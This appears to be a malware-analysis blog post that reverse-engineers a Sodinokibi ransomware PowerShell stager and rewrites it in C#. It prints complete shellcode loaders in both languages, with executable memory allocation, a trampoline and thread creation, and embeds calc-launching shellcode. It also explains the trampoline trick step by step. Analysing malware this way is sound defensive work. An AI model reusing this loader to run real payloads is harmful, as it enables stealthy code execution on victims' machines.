Home Malware Analysis About

Jumping to conclusions

Introduction

For anyone who doesnt know, I have a section of this blog dedicated to malware analysis. Whilst poking around at a Sodinokibi sample, I ended up going through a few levels of their PowerShell staging. That can be found in Sodinokibi PowerShell stagers.

The method was written in PowerShell, but for debugging purposes I rewrote it to .NET and I will go through it here.

The PowerShell

Sodinokibi PowerShell stagers goes through the original, but here is the tidied up version I prepared:

function ExecutePayload{
    param($payload)
    function ResolveFunction{
        Param(
            [Parameter( Position = 0, Mandatory = 0 )]
            [String]$moduleName,
            [Parameter( Position = 1, Mandatory = 0 )]
            [String]$functionName
        )
        Write-Host "[*] Resolving: $moduleName!$functionName"
        $systemDll = [AppDomain]::CurrentDomain.GetAssemblies() |
            Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll')}
        $unsafeMethods = $systemDll.GetType('Microsoft.Win32.UnsafeNativeMethods')
        $moduleNameHandle = $unsafeMethods.GetMethod('GetModuleHandle')
        $getProcAddress = $unsafeMethods.GetMethod('GetProcAddress', [reflection.bindingflags] ("Public,Static"), $obj, [System.Reflection.CallingConventions]::Any, @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $obj);
        $hModule = $moduleNameHandle.Invoke($obj, @($moduleName))
        $mkix = New-Object IntPtr
        $hModulePtr = New-Object System.Runtime.InteropServices.HandleRef($mkix, $hModule)
        $functionAddr = $getProcAddress.Invoke($obj, @([System.Runtime.InteropServices.HandleRef]$hModulePtr, $functionName))
        
        if($functionAddr)
        {
            Write-Host "[*] Address: $functionAddr"
        }
        else
        {
            Write-Host "[!] Failed to get Address of $moduleName!$functionName"
        }
        return $functionAddr
    }

    function CreateDelegate{
        Param(
            [Parameter( Position = 0)]
            [Type[]]$parameterTypes = (New-Object Type[](0)),
            [Parameter( Position = 1 )]
            [Type]$returnType = [Void]
        )
        $currentAppDomain = [AppDomain]::CurrentDomain
        $reflectedDelegate = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
        $dynamicAssembly = $currentAppDomain.DefineDynamicAssembly($reflectedDelegate, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
        $moduleNameBuilder = $dynamicAssembly.DefineDynamicModule('InMemoryModule', $lgfk)
        $type = $moduleNameBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
        $constructor = $type.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $parameterTypes)
        $constructor.SetImplementationFlags('Runtime, Managed')
        $method = $type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $returnType, $parameterTypes)
        $method.SetImplementationFlags('Runtime, Managed')
        return $type.CreateType()
    }

    function DoSomeWeirdConversion ([IntPtr] $pBaseAddressPayload, [IntPtr] $exitThreadAddr, [Int] $inputNum){
        $arch = $inputNum / 8
        Write-Host ""
        Write-Host "[*] Architecture set to: $arch"

        function ConvertTo-LittleEndian ([IntPtr] $bytes){
            $trlc = New-Object Byte[](0)
            Write-Host "[*] Before: $bytes"
            write-host "=============="
            write-host $bytes.ToString("X$($arch*2)")
            $bytes.ToString("X$($arch*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $trlc += [Byte] ('0x{0}' -f $_) } }

            Write-Host "[*] After: $trlc"

            [System.Array]::Reverse($trlc)
            Write-Host "[*] Reverse: $trlc"
            Write-Host ""
            return $trlc
        }

        $newBytes = New-Object Byte[](0)

        if ($arch -eq 8)
        {
            [Byte[]] $newBytes = 0x48,0xB8
            $newBytes += ConvertTo-LittleEndian $pBaseAddressPayload
            $newBytes += 0xFF,0xD0
            $newBytes += 0x6A,0x00
            $newBytes += 0x48,0xB8
            $newBytes += ConvertTo-LittleEndian $exitThreadAddr
            $newBytes += 0xFF,0xD0
        }
        else
        {
            [Byte[]] $newBytes = 0xB8
            Write-Host "[*] Parsing pBaseAddressPayload"
            $newBytes += ConvertTo-LittleEndian $pBaseAddressPayload

            $newBytes += 0xFF,0xD0
            $newBytes += 0x6A,0x00
            $newBytes += 0xB8

            Write-Host "[*] Parsing exitThreadAddr"
            $newBytes += ConvertTo-LittleEndian $exitThreadAddr
            $newBytes += 0xFF,0xD0
        }
        Write-Host "[*] New Bytes: $newBytes"
        return $newBytes
    }

function ExecutePayload{
        $MEM_COMMIT_MEM_RESERVE = 0x3000
        $PAGE_EXECUTE_READWRITE = 0x40
        $INFINITE = 0xFFFFFFFF
        $lpAddress = [IntPtr]::Zero
        $payloadSz = $payload.Length

        Write-Host ""

        Write-Host "[*] Allocating $payloadSz bytes..."
        $pBaseAddressPayload = $virtualAlloc.Invoke($lpAddress, $payloadSz + 1, $MEM_COMMIT_MEM_RESERVE, $PAGE_EXECUTE_READWRITE)

        if($pBaseAddressPayload)
        {  
            Write-Host "[*] Base Address of payload: $pBaseAddressPayload"
        }
        else
        {
            Write-Host "[!] Failed to allocate!"
            return
        }

        [System.Runtime.InteropServices.Marshal]::Copy($payload, 0, $pBaseAddressPayload, $payload.Length)
        Write-Host "[*] Copied $payloadSz bytes to $pBaseAddressPayload"

        $exitThreadAddr = ResolveFunction kernel32.dll ExitThread

        $mysteriousBytes = DoSomeWeirdConversion $pBaseAddressPayload $exitThreadAddr 32
        write-host $mysteriousBytes
        $mysteriousBytesSz = $mysteriousBytes.Length

        $mysteriousBytesAddress = $virtualAlloc.Invoke([IntPtr]::Zero, $mysteriousBytes.Length + 1, $MEM_COMMIT_MEM_RESERVE, $PAGE_EXECUTE_READWRITE)

        if($mysteriousBytesAddress)
        {  
            Write-Host "[*] Base Address of mysterious Bytes: $mysteriousBytesAddress"
        }
        else
        {
            Write-Host "[!] Failed to allocate!"
            return
        }

        [System.Runtime.InteropServices.Marshal]::Copy($mysteriousBytes, 0, $mysteriousBytesAddress, $mysteriousBytesSz)
        Write-Host "[*] Copied $mysteriousBytesSz bytes to $mysteriousBytesAddress"

        $hThread = $createThread.Invoke([IntPtr]::Zero, 0, $mysteriousBytesAddress, $pBaseAddressPayload, 0, [IntPtr]::Zero)

        if($hThread)
        {  
            Write-Host "[*] Thread Handle: $hThread"
        }
        else
        {
            Write-Host "[!] Failed create thread"
            return
        }

        $waitForSingleObject.Invoke($hThread, $INFINITE) | Out-Null
    }


    $virtualAllocAddr = ResolveFunction kernel32.dll ('VirtualAlloc')
    $virtualAllocDelegate = CreateDelegate @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
    $virtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($virtualAllocAddr, $virtualAllocDelegate)

    $createThreadAddr = ResolveFunction kernel32.dll ("CreateThread")
    $createThreadDelegate = CreateDelegate @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
    $createThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($createThreadAddr, $createThreadDelegate)

    $waitForSingleObjectAddr = ResolveFunction kernel32.dll ("WaitForSingleObject")
    $waitForSingleObjectDelegate = CreateDelegate @([IntPtr], [Int32]) ([Int])
    $waitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($waitForSingleObjectAddr, $waitForSingleObjectDelegate)

    ExecutePayload
}

[byte[]] $payload_x64 = 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00

[byte[]] $payload_x86 = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00

ExecutePayload $payload_x86

The above will just execute calc, and it only works for x86. It will become clear as to why later. Essentially, its using Unsafe Methods to get access to the WinAPI then uses VirtualAlloc, CreateThread and WaitForSingleObject to execute shellcode. But the trick is on CreateThread.

The .NET

Before breaking down the .NET, here is the first iteration of the code (if you only want the final code, jump to the end):

using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Text.RegularExpressions;

namespace ConsoleApp1
{
    class Program
    {
        const uint INFINITE = 0xFFFFFFFF;
        [Flags]
        public enum AllocationType
        {
            Commit = 0x1000,
            Reserve = 0x2000,
            Decommit = 0x4000,
            Release = 0x8000,
            Reset = 0x80000,
            Physical = 0x400000,
            TopDown = 0x100000,
            WriteWatch = 0x200000,
            LargePages = 0x20000000
        }

        [Flags]
        public enum MemoryProtection
        {
            Execute = 0x10,
            ExecuteRead = 0x20,
            ExecuteReadWrite = 0x40,
            ExecuteWriteCopy = 0x80,
            NoAccess = 0x01,
            ReadOnly = 0x02,
            ReadWrite = 0x04,
            WriteCopy = 0x08,
            GuardModifierflag = 0x100,
            NoCacheModifierflag = 0x200,
            WriteCombineModifierflag = 0x400
        }

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, AllocationType flAllocationType, MemoryProtection flProtect);
        [DllImport("kernel32", CharSet = CharSet.Ansi)]
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
        [DllImport("kernel32.dll", SetLastError = true)]
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
        [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
        static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
        [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
        public static extern IntPtr GetModuleHandle(string lpModuleName);
        
        public static byte[] Combine(byte[] first, byte[] second)
        {
            byte[] ret = new byte[first.Length + second.Length];
            Buffer.BlockCopy(first, 0, ret, 0, first.Length);
            Buffer.BlockCopy(second, 0, ret, first.Length, second.Length);
            return ret;
        }

        static byte[] DoSomethingWeird(IntPtr pAddress, IntPtr pExitThread)
        {
            if (Is64Bit())
            {
                List<byte> newBytes = new List<byte>
                {
                    0x48,
                    0xB8
                };
                foreach (byte b in (ConvertToLittleEndian(pAddress)))
                {
                    newBytes.Add(b);
                }
                newBytes.AddRange(new byte[] { 0xFF, 0xD0 });
                newBytes.AddRange(new byte[] { 0x6A, 0x00 });
                newBytes.AddRange(new byte[] { 0x48, 0xB8 });
                foreach (byte b in (ConvertToLittleEndian(pExitThread)))
                {
                    newBytes.Add(b);
                }
                newBytes.AddRange(new byte[] { 0xFF, 0xD0 });
                return newBytes.ToArray();
            }
            else
            {
                List<byte> newBytes = new List<byte>
                {
                    0xB8
                };
                foreach (byte b in (ConvertToLittleEndian(pAddress)))
                {
                    newBytes.Add(b);
                }
                newBytes.AddRange(new byte[] { 0xFF, 0xD0 });
                newBytes.AddRange(new byte[] { 0x6A, 0x00 });
                newBytes.AddRange(new byte[] { 0xB8 });

                foreach (byte b in (ConvertToLittleEndian(pExitThread)))
                {
                    newBytes.Add(b);
                }
                
                newBytes.AddRange(new byte[] { 0xFF, 0xD0 });
                foreach(byte b in newBytes)
                {
                    Console.Write(b + " ");
                }
                Console.WriteLine("");
                return newBytes.ToArray();
            }
        }

        static byte[] ConvertToLittleEndian(IntPtr bytes)
        {
            string stringFormat = "X8";
            string formattedBytes = bytes.ToString(stringFormat);
            string[] result = Regex.Split(formattedBytes, "([A-F0-9]{2})");
            List<byte> newArray = new List<byte>();
            foreach(string r in result)
            {
                if(!string.IsNullOrEmpty(r))
                {
                    byte b = Convert.ToByte(string.Format("0x{0}", r), 16);
                    newArray.Add(b);

                }
            }
            newArray.Reverse();
            return newArray.ToArray();
        }
        static Boolean Is64Bit()
        {
            if(IntPtr.Size == 8)
            {
                return true;
            }
            else
            {
                return false;
            }
        }
        static void Main(string[] args)
        {
            byte[] payload64 = { 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x00 };
            byte[] payload86 = { 0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50, 0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf2, 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78, 0xe3, 0x48, 0x01, 0xd1, 0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3, 0x3a, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, 0xeb, 0x8d, 0x5d, 0x6a, 0x01, 0x8d, 0x85, 0xb2, 0x00, 0x00, 0x00, 0x50, 0x68, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x68, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x53, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x00 };
            byte[] payload = { };
            
            if(Is64Bit())
            {
                payload = payload64;
            }
            else
            {
                payload = payload86;
            }

            IntPtr pAddress = VirtualAlloc(IntPtr.Zero, payload.Length + 1, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.ExecuteReadWrite);
            if(pAddress == IntPtr.Zero)
            {
                Console.WriteLine("[!] Failed to allocate!");
                return;
            }
            else
            {
                Console.WriteLine("[+] pAddress: " + pAddress.ToInt64());
            }

            Marshal.Copy(payload, 0, pAddress, payload.Length);

            IntPtr hModule = GetModuleHandle("kernel32.dll");
            if (hModule == IntPtr.Zero)
            {
                Console.WriteLine("[!] Failed to get handle to kernel32!");
                return;
            }
            else
            {
                Console.WriteLine("[+] hModule: " + hModule.ToInt64());
            }

            IntPtr pExitThread = GetProcAddress(hModule, "CreateFileA");
            if (pExitThread == IntPtr.Zero)
            {
                Console.WriteLine("[!] Failed to get address of kernel32!ExitThread");
                return;
            }
            else
            {
                Console.WriteLine("[+] pExitThread: " + pExitThread.ToInt64());
            }

            byte[] mystery = DoSomethingWeird(pAddress, pExitThread);

            IntPtr pMystery = VirtualAlloc(IntPtr.Zero, mystery.Length + 1, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.ExecuteReadWrite);
            if (pMystery == IntPtr.Zero)
            {
                Console.WriteLine("[!] Failed to allocate!");
                return;
            }
            else
            {
                Console.WriteLine("[+] pMystery: " + pMystery.ToInt64());
            }
            Marshal.Copy(mystery, 0, pMystery, mystery.Length);

            IntPtr hThread = CreateThread(IntPtr.Zero, 0, pMystery, pAddress, 0, IntPtr.Zero);
            if (hThread == IntPtr.Zero)
            {
                Console.WriteLine("[!] Failed to create thread!");
                return;
            }
            else
            {
                Console.WriteLine("[+] Thread Handle: " + hThread.ToInt64());
            }
            WaitForSingleObject(hThread, INFINITE);
        }
    }
}

Lets run through it. First off, a generic allocation is done for the actual payload:

IntPtr pAddress = VirtualAlloc(IntPtr.Zero, payload.Length + 1, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.ExecuteReadWrite);
if(pAddress == IntPtr.Zero)
{
    Console.WriteLine("[!] Failed to allocate!");
    return;
}
else
{
    Console.WriteLine("[+] pAddress: " + pAddress.ToInt64());
}
Marshal.Copy(payload, 0, pAddress, payload.Length);

Next, the stager got a handle to kernel32.dll and a pointer to ExitThread:

IntPtr hModule = GetModuleHandle("kernel32.dll");
if (hModule == IntPtr.Zero)
{
    Console.WriteLine("[!] Failed to get handle to kernel32!");
    return;
}
else
{
    Console.WriteLine("[+] hModule: " + hModule.ToInt64());
}

IntPtr pExitThread = GetProcAddress(hModule, "ExitThread");
if (pExitThread == IntPtr.Zero)
{
    Console.WriteLine("[!] Failed to get address of kernel32!ExitThread");
    return;
}
else
{
    Console.WriteLine("[+] pExitThread: " + pExitThread.ToInt64());
}

This is where it gets spooky. At the time of writing the first iteration, I was unsure as to what this next line did:

byte[] mystery = DoSomethingWeird(pAddress, pExitThread);

The base address returned from the payload allocation, VirtualAlloc, and the pointer to ExitThread are passed into this function:

static byte[] DoSomethingWeird(IntPtr pAddress, IntPtr pExitThread)
{
    if (Is64Bit())
    {
        List<byte> newBytes = new List<byte>
        {
            0x48,
            0xB8
        };
        foreach (byte b in (ConvertToLittleEndian(pAddress)))
        {
            newBytes.Add(b);
        }
        newBytes.AddRange(new byte[] { 0xFF, 0xD0 });
        newBytes.AddRange(new byte[] { 0x6A, 0x00 });
        newBytes.AddRange(new byte[] { 0x48, 0xB8 });
        foreach (byte b in (ConvertToLittleEndian(pExitThread)))
        {
            newBytes.Add(b);
        }
        newBytes.AddRange(new byte[] { 0xFF, 0xD0 });
        return newBytes.ToArray();
    }
    else
    {
        List<byte> newBytes = new List<byte>
        {
            0xB8
        };
        foreach (byte b in (ConvertToLittleEndian(pAddress)))
        {
            newBytes.Add(b);
        }
        newBytes.AddRange(new byte[] { 0xFF, 0xD0 });
        newBytes.AddRange(new byte[] { 0x6A, 0x00 });
        newBytes.AddRange(new byte[] { 0xB8 });

        foreach (byte b in (ConvertToLittleEndian(pExitThread)))
        {
            newBytes.Add(b);
        }
        
        newBytes.AddRange(new byte[] { 0xFF, 0xD0 });
        foreach(byte b in newBytes)
        {
            Console.Write(b + " ");
        }
        Console.WriteLine("");
        return newBytes.ToArray();
    }
}

The code only hits the else. I kept this in because the original PowerShell script passed in a hard-coded 32, which becomes clear later on.

This function starts by declaring a new list of bytes and adding 0xb8:

List<byte> newBytes = new List<byte>
{
    0xB8
};

I will explain this later on, lets keep going for now. The next line appends more bytes. But it takes in the pointer to the base address:

foreach (byte b in (ConvertToLittleEndian(pAddress)))
{
    newBytes.Add(b);
}

The ConvertToLittleEndian() function:

static byte[] ConvertToLittleEndian(IntPtr bytes)
{
    string stringFormat = "X8";
    string formattedBytes = bytes.ToString(stringFormat);
    string[] result = Regex.Split(formattedBytes, "([A-F0-9]{2})");
    List<byte> newArray = new List<byte>();
    foreach(string r in result)
    {
        if(!string.IsNullOrEmpty(r))
        {
            byte b = Convert.ToByte(string.Format("0x{0}", r), 16);
            newArray.Add(b);

        }
    }
    newArray.Reverse();
    return newArray.ToArray();
}

This part was quite smart, because in the original PowerShell, they used some horrible logic which made it look like it was doing something intelligent. But it turns out all they was doing was building a string formatter. The original PowerShell uses the following line to build X8:

 $iogj.ToString("X$($iawg*2)")

This can just be hard coded as seen in the stringFormat variable. The .NET code above is just a port and tidy up of:

function ConvertTo-LittleEndian ([IntPtr] $iogj){
    $trlc = New-Object Byte[](0)
    $iogj.ToString("X$($iawg*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $trlc += [Byte] ('0x{0}' -f $_) } }
    [System.Array]::Reverse($trlc)
    return $trlc
}

Literally all this is doing is taking the pointer and converting it to a hex string. Knowing that, the following code now makes sense:

List<byte> newBytes = new List<byte>
{
    0xB8
};
foreach (byte b in (ConvertToLittleEndian(pAddress)))
{
    newBytes.Add(b);
}
newBytes.AddRange(new byte[] { 0xFF, 0xD0 });
newBytes.AddRange(new byte[] { 0x6A, 0x00 });
newBytes.AddRange(new byte[] { 0xB8 });

foreach (byte b in (ConvertToLittleEndian(pExitThread)))
{
    newBytes.Add(b);
}

newBytes.AddRange(new byte[] { 0xFF, 0xD0 });
foreach(byte b in newBytes)
{
    Console.Write(b + " ");
}
Console.WriteLine("");
return newBytes.ToArray();

I know this is confusing, so lets recap. So far, all it has done is allocate the shellcode into memory, passed the base address pointer to a suspicious function and parsed the pointer to hex and pre/appended some more bytes. Those bytes are then set as the base address of the thread. At this point, I spent an hour or two trying to figure out what was actually going on here, so hopefully youre as confused as I was.

It now makes sense, kinda

The bytes return from this function were:

184 0 0 215 2 255 208 106 0 184 48 49 178 118 255 208

I threw this into CyberChef, which can be seen here. Converting it from Decimal and then into Hex gives:

\xb8\x00\x00\xd7\x02\xff\xd0\x6a\x00\xb8\x30\x31\xb2\x76\xff\xd0

If youre like me and this makes 0 sense, theres a website to make it make sense: defuse.ca. Disassembling these instructions gave:

0:  b8 00 00 d7 02          mov    eax,0x2d70000
5:  ff d0                   call   eax
7:  6a 00                   push   0x0
9:  b8 30 31 b2 76          mov    eax,0x76b23130
e:  ff d0                   call   eax 

This is where it clicked for me. That fancy bit of suspicious code that gets set as the thread entry point are acting as a jmp to the allocate shellcode. Stepping through the code and tidying it up, the ExitThread seemed to not make a difference? If Ive missed something, Id love to know. But based on that, I tidied up the instructions to be:

0:  b8 00 00 59 01          mov    eax,0x1590000
5:  ff d0                   call   eax 

mov the base address to EAX, then call it.

Looking back at the thread creation, it makes sense:

IntPtr hThread = CreateThread(IntPtr.Zero, 0, pMystery, pAddress, 0, IntPtr.Zero);

The 4th parameter, pAddress is the parameter passed to the thread, as seen in the structure of the function:

HANDLE CreateThread(
  LPSECURITY_ATTRIBUTES   lpThreadAttributes,
  SIZE_T                  dwStackSize,
  LPTHREAD_START_ROUTINE  lpStartAddress,
  __drv_aliasesMem LPVOID lpParameter,
  DWORD                   dwCreationFlags,
  LPDWORD                 lpThreadId
);

The execution routine now looks like this:

Marshal.Copy(calc, 0, pAddress, calc.Length);

IntPtr hModule = GetModuleHandle("kernel32.dll");
if (hModule == IntPtr.Zero)
{
    Console.WriteLine("[!] Failed to get handle to kernel32!");
    return;
}
else
{
    Console.WriteLine("[+] hModule: " + hModule.ToInt64());
}

byte[] jump = GetCallBaseAddressBytes(pAddress);

IntPtr pJump = VirtualAlloc(IntPtr.Zero, jump.Length + 1, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.ExecuteReadWrite);
if (pJump == IntPtr.Zero)
{
    Console.WriteLine("[!] Failed to allocate!");
    return;
}
else
{
    Console.WriteLine("[+] pJump: " + pJump.ToInt64());
}
Marshal.Copy(jump, 0, pJump, jump.Length);

IntPtr hThread = CreateThread(IntPtr.Zero, 0, pJump, pAddress, 0, IntPtr.Zero);
if (hThread == IntPtr.Zero)
{
    Console.WriteLine("[!] Failed to create thread!");
    return;
}
else
{
    Console.WriteLine("[+] Thread Handle: " + hThread.ToInt64());
}
WaitForSingleObject(hThread, INFINITE);
return;

Verifying it works:

